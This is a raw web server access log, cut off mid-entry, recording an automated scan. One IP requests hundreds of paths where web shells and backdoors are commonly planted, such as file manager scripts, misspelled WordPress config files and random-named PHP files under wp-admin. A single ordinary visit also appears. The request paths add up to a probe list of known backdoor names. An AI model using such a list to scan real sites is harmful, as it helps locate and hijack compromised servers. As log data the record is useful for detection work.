52.169.149.163 - - [15/Apr/2025:09:08:05 -0400] "GET /test.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:08:09 -0400] "GET /test.php?p= HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:08:12 -0400] "GET /test/ HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:08:14 -0400] "GET /text.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:08:18 -0400] "GET /tghuGZVrERD.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:08:20 -0400] "GET /themes.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:08:24 -0400] "GET /themes/index.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:08:29 -0400] "GET /themes/zMousse/otuz1.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:08:33 -0400] "GET /tiny.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:08:41 -0400] "GET /tiny.php?p= HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:08:50 -0400] "GET /tinyfilemanager.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:08:53 -0400] "GET /tinyfilemanager.php?p= HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:08:55 -0400] "GET /tinyfilemanager/ HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:08:58 -0400] "GET /tinyfilemanager/tinyfilemanager.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:09:00 -0400] "GET /tkpKSqOfFIE.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:09:01 -0400] "GET /tmpls.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:09:05 -0400] "GET /tqy.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:09:11 -0400] "GET /tsRBxmo.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:09:18 -0400] "GET /ty.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:09:22 -0400] "GET /ty.php?p= HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:09:24 -0400] "GET /u.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:09:27 -0400] "GET /uWjxHmRO9AM.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:09:30 -0400] "GET /up.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:09:35 -0400] "GET /up.php?p= HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:09:37 -0400] "GET /updates.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:09:39 -0400] "GET /upload.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:09:41 -0400] "GET /upload/ HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:09:43 -0400] "GET /upload/image/ HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:09:45 -0400] "GET /upload/upload.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:09:47 -0400] "GET /upload/wp-info.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:09:48 -0400] "GET /uploads/ HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:09:50 -0400] "GET /uploads/.1/ HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:09:53 -0400] "GET /uploads/index.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:09:54 -0400] "GET /uploads/test.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:09:55 -0400] "GET /uploads/up.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:09:57 -0400] "GET /used HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:09:59 -0400] "GET /user.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:10:00 -0400] "GET /users.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:10:01 -0400] "GET /uvrDZ.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:10:02 -0400] "GET /v.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:10:07 -0400] "GET /vSiY7GNIxVH.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:10:13 -0400] "GET /var/www/html/uploads/ HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:10:19 -0400] "GET /vendor/ HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:10:21 -0400] "GET /w.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:10:25 -0400] "GET /wb.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:10:26 -0400] "GET /wcqLft7.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:10:29 -0400] "GET /we.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:10:32 -0400] "GET /web.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:10:36 -0400] "GET /webadmin.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:10:38 -0400] "GET /wi.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:10:41 -0400] "GET /wikindex.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:10:44 -0400] "GET /winamp/index.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:10:46 -0400] "GET /wkG.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:10:49 -0400] "GET /woh.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:10:51 -0400] "GET /wordpress/wp-includes/IXR/allez.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:10:53 -0400] "GET /wordpress/wp-includes/wp-config-sample.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:10:56 -0400] "GET /worm0.PhP7 HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:10:58 -0400] "GET /wp-2019.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:11:00 -0400] "GET /wp-Owl.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:11:02 -0400] "GET /wp-add-admin.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:11:05 -0400] "GET /wp-admin.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:11:08 -0400] "GET /wp-admin.phphttps://diegun.com/autoload_classmap.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:11:11 -0400] "GET /wp-admin/ HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:11:16 -0400] "GET /wp-admin//fmadmin.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:11:19 -0400] "GET /wp-admin/31eqRsJgQ6n.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:11:23 -0400] "GET /wp-admin/404.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:11:26 -0400] "GET /wp-admin/5gTfXRhIqkW.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:11:28 -0400] "GET /wp-admin/7EPezNYMy84.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:11:31 -0400] "GET /wp-admin/8h4AoSFJCLO.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:11:36 -0400] "GET /wp-admin/9pX1s4oMLtC.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:11:40 -0400] "GET /wp-admin/AhqPecJ6oky.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:11:44 -0400] "GET /wp-admin/FriUsGzT5d7.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:11:47 -0400] "GET /wp-admin/GkXRTpxowKQ.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:11:49 -0400] "GET /wp-admin/ILNqJhgUpAG.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:11:51 -0400] "GET /wp-admin/LaAkNhWMyOQ.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:11:53 -0400] "GET /wp-admin/MDO8adG9euX.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:11:55 -0400] "GET /wp-admin/NFBqIyOZcQL.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:11:58 -0400] "GET /wp-admin/O5pANR6rDXx.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:12:02 -0400] "GET /wp-admin/RqdXEex3Jfb.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:12:04 -0400] "GET /wp-admin/UmpVR1Ersn8.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:12:06 -0400] "GET /wp-admin/WvASxq1D2c8.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:12:08 -0400] "GET /wp-admin/about.php HTTP/1.1" 301 795 "-" "-" 182.44.8.254 - - [15/Apr/2025:09:12:10 -0400] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 52.169.149.163 - - [15/Apr/2025:09:12:13 -0400] "GET /wp-admin/admiin.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:12:16 -0400] "GET /wp-admin/admin.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:12:19 -0400] "GET /wp-admin/alfa.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:12:20 -0400] "GET /wp-admin/atomlib.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:12:22 -0400] "GET /wp-admin/autoload_classmap.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:12:25 -0400] "GET /wp-admin/ccx/ HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:12:26 -0400] "GET /wp-admin/chosen.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:12:27 -0400] "GET /wp-admin/classwithtostring.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:12:28 -0400] "GET /wp-admin/cong.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:12:30 -0400] "GET /wp-admin/css/ HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:12:34 -0400] "GET /wp-admin/css//about.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:12:37 -0400] "GET /wp-admin/css//forbidden.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:12:40 -0400] "GET /wp-admin/css//item.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:12:43 -0400] "GET /wp-admin/css/about.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:12:44 -0400] "GET /wp-admin/css/about.php/alfacgiapi/ HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:12:45 -0400] "GET /wp-admin/css/admin.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:12:48 -0400] "GET /wp-admin/css/autoload_classmap.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:12:51 -0400] "GET /wp-admin/css/colors/ HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:12:58 -0400] "GET /wp-admin/css/colors//Admin-Author.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:13:03 -0400] "GET /wp-admin/css/colors//about.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:13:06 -0400] "GET /wp-admin/css/colors//moon.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:13:12 -0400] "GET /wp-admin/css/colors/aPRTXyP.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:13:17 -0400] "GET /wp-admin/css/colors/about.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:13:20 -0400] "GET /wp-admin/css/colors/blue/ HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:13:23 -0400] "GET /wp-admin/css/colors/blue/about.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:13:25 -0400] "GET /wp-admin/css/colors/blue/admin.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:13:26 -0400] "GET /wp-admin/css/colors/blue/atomlib.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:13:30 -0400] "GET /wp-admin/css/colors/blue/index.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:13:34 -0400] "GET /wp-admin/css/colors/blue/index.php/ HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:13:40 -0400] "GET /wp-admin/css/colors/blue/index.php/.well-known/pki-validation/xmrlpc.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:13:43 -0400] "GET /wp-admin/css/colors/blue/index.php?p= HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:13:49 -0400] "GET /wp-admin/css/colors/blue/lock.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:13:54 -0400] "GET /wp-admin/css/colors/blue/moon.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:13:57 -0400] "GET /wp-admin/css/colors/blue/wp-login.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:14:00 -0400] "GET /wp-admin/css/colors/coffee/about.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:14:02 -0400] "GET /wp-admin/css/colors/coffee/alfa-rex.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:14:06 -0400] "GET /wp-admin/css/colors/coffee/index.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:14:08 -0400] "GET /wp-admin/css/colors/ectoplasm/ HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:14:11 -0400] "GET /wp-admin/css/colors/ectoplasm//my1.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:14:14 -0400] "GET /wp-admin/css/colors/ectoplasm/users.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:14:15 -0400] "GET /wp-admin/css/colors/ectoplasm/wp-error_log.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:14:18 -0400] "GET /wp-admin/css/colors/ectoplasm/wp-login.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:14:20 -0400] "GET /wp-admin/css/colors/index.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:14:23 -0400] "GET /wp-admin/css/colors/light/about.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:14:25 -0400] "GET /wp-admin/css/colors/light/index.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:14:26 -0400] "GET /wp-admin/css/colors/midnight/IUSPPi.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:14:27 -0400] "GET /wp-admin/css/colors/midnight/colors.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:14:28 -0400] "GET /wp-admin/css/colors/ocean/ HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:14:31 -0400] "GET /wp-admin/css/colors/ocean/wp-post.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:14:33 -0400] "GET /wp-admin/css/colors/sunrise/ HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:14:34 -0400] "GET /wp-admin/css/colors/wp-post.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:14:35 -0400] "GET /wp-admin/css/colors/xmrlpc.php?p= HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:14:37 -0400] "GET /wp-admin/css/index.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:14:38 -0400] "GET /wp-admin/css/index.php?p= HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:14:39 -0400] "GET /wp-admin/css/index.php?pass=admin HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:14:41 -0400] "GET /wp-admin/css/network.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:14:42 -0400] "GET /wp-admin/css/wp-conflg.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:14:47 -0400] "GET /wp-admin/css/wp-error_log.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:14:50 -0400] "GET /wp-admin/css/wp-login.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:14:55 -0400] "GET /wp-admin/css/x2.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:14:59 -0400] "GET /wp-admin/cux.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:15:02 -0400] "GET /wp-admin/date.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:15:05 -0400] "GET /wp-admin/dropdown.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:15:07 -0400] "GET /wp-admin/fIPCHgi5lwx.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:15:11 -0400] "GET /wp-admin/file.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:15:14 -0400] "GET /wp-admin/ftpnMRS2BQw.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:15:18 -0400] "GET /wp-admin/function.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:15:22 -0400] "GET /wp-admin/gLMkHUftdyF.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:15:25 -0400] "GET /wp-admin/images/ HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:15:27 -0400] "GET /wp-admin/images//Mhbgf.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:15:29 -0400] "GET /wp-admin/images//links.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:15:31 -0400] "GET /wp-admin/images//mlm.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:15:35 -0400] "GET /wp-admin/images//wp-signup.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:15:37 -0400] "GET /wp-admin/images/about.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:15:39 -0400] "GET /wp-admin/images/admin.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:15:40 -0400] "GET /wp-admin/images/atomlib.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:15:42 -0400] "GET /wp-admin/images/autoload_classmap.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:15:43 -0400] "GET /wp-admin/images/chosen.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:15:44 -0400] "GET /wp-admin/images/cloud.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:15:45 -0400] "GET /wp-admin/images/index.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:15:46 -0400] "GET /wp-admin/images/index.php?p= HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:15:48 -0400] "GET /wp-admin/images/install.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:15:49 -0400] "GET /wp-admin/images/layout.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:15:51 -0400] "GET /wp-admin/images/users.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:15:52 -0400] "GET /wp-admin/images/wp-login.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:15:53 -0400] "GET /wp-admin/includes/ HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:15:55 -0400] "GET /wp-admin/includes//12wvdscz.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:15:56 -0400] "GET /wp-admin/includes//inputs.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:15:57 -0400] "GET /wp-admin/includes//install.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:15:58 -0400] "GET /wp-admin/includes//links.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:15:59 -0400] "GET /wp-admin/includes//nav.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:16:00 -0400] "GET /wp-admin/includes/about.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:16:02 -0400] "GET /wp-admin/includes/about.php?p= HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:16:05 -0400] "GET /wp-admin/includes/cloud.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:16:06 -0400] "GET /wp-admin/includes/cong.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:16:09 -0400] "GET /wp-admin/includes/iR7SzrsOUEP.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:16:11 -0400] "GET /wp-admin/includes/index.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:16:13 -0400] "GET /wp-admin/includes/themes.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:16:17 -0400] "GET /wp-admin/includes/wp-conflg.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:16:20 -0400] "GET /wp-admin/includes/wp-conflg.php?p= HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:16:23 -0400] "GET /wp-admin/includes/xmrlpc.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:16:27 -0400] "GET /wp-admin/includes/xmrlpc.php?p= HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:16:29 -0400] "GET /wp-admin/index.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:16:31 -0400] "GET /wp-admin/index.php?p= HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:16:35 -0400] "GET /wp-admin/install.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:16:37 -0400] "GET /wp-admin/item.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:16:40 -0400] "GET /wp-admin/js/ HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:16:42 -0400] "GET /wp-admin/js//themes.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:16:44 -0400] "GET /wp-admin/js//wp-conflg.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:16:48 -0400] "GET /wp-admin/js/about.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:16:53 -0400] "GET /wp-admin/js/about.php7 HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:16:55 -0400] "GET /wp-admin/js/admin.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:16:58 -0400] "GET /wp-admin/js/autoload_classmap.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:17:01 -0400] "GET /wp-admin/js/chosen.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:17:04 -0400] "GET /wp-admin/js/index.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:17:07 -0400] "GET /wp-admin/js/widgets/ HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:17:11 -0400] "GET /wp-admin/js/widgets/about.php7 HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:17:13 -0400] "GET /wp-admin/js/widgets/cloud.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:17:16 -0400] "GET /wp-admin/js/widgets/edit.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:17:18 -0400] "GET /wp-admin/js/widgets/index.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:17:20 -0400] "GET /wp-admin/js/widgets/xmrlpc.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:17:23 -0400] "GET /wp-admin/js/widgets/xmrlpc.php?p= HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:17:24 -0400] "GET /wp-admin/js/wp-conflg.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:17:26 -0400] "GET /wp-admin/js/wp-conflg.php?p= HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:17:29 -0400] "GET /wp-admin/js/wp-login.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:17:33 -0400] "GET /wp-admin/kpjQgosHcIU.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:17:36 -0400] "GET /wp-admin/log.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:17:38 -0400] "GET /wp-admin/m5gxnfKML7e.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:17:41 -0400] "GET /wp-admin/mah.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:17:43 -0400] "GET /wp-admin/maint/ HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:17:47 -0400] "GET /wp-admin/maint//go.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:17:49 -0400] "GET /wp-admin/maint/about.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:17:52 -0400] "GET /wp-admin/maint/admin.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:17:58 -0400] "GET /wp-admin/maint/autoload_classmap.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:18:03 -0400] "GET /wp-admin/maint/index.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:18:06 -0400] "GET /wp-admin/maint/index.php?p= HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:18:09 -0400] "GET 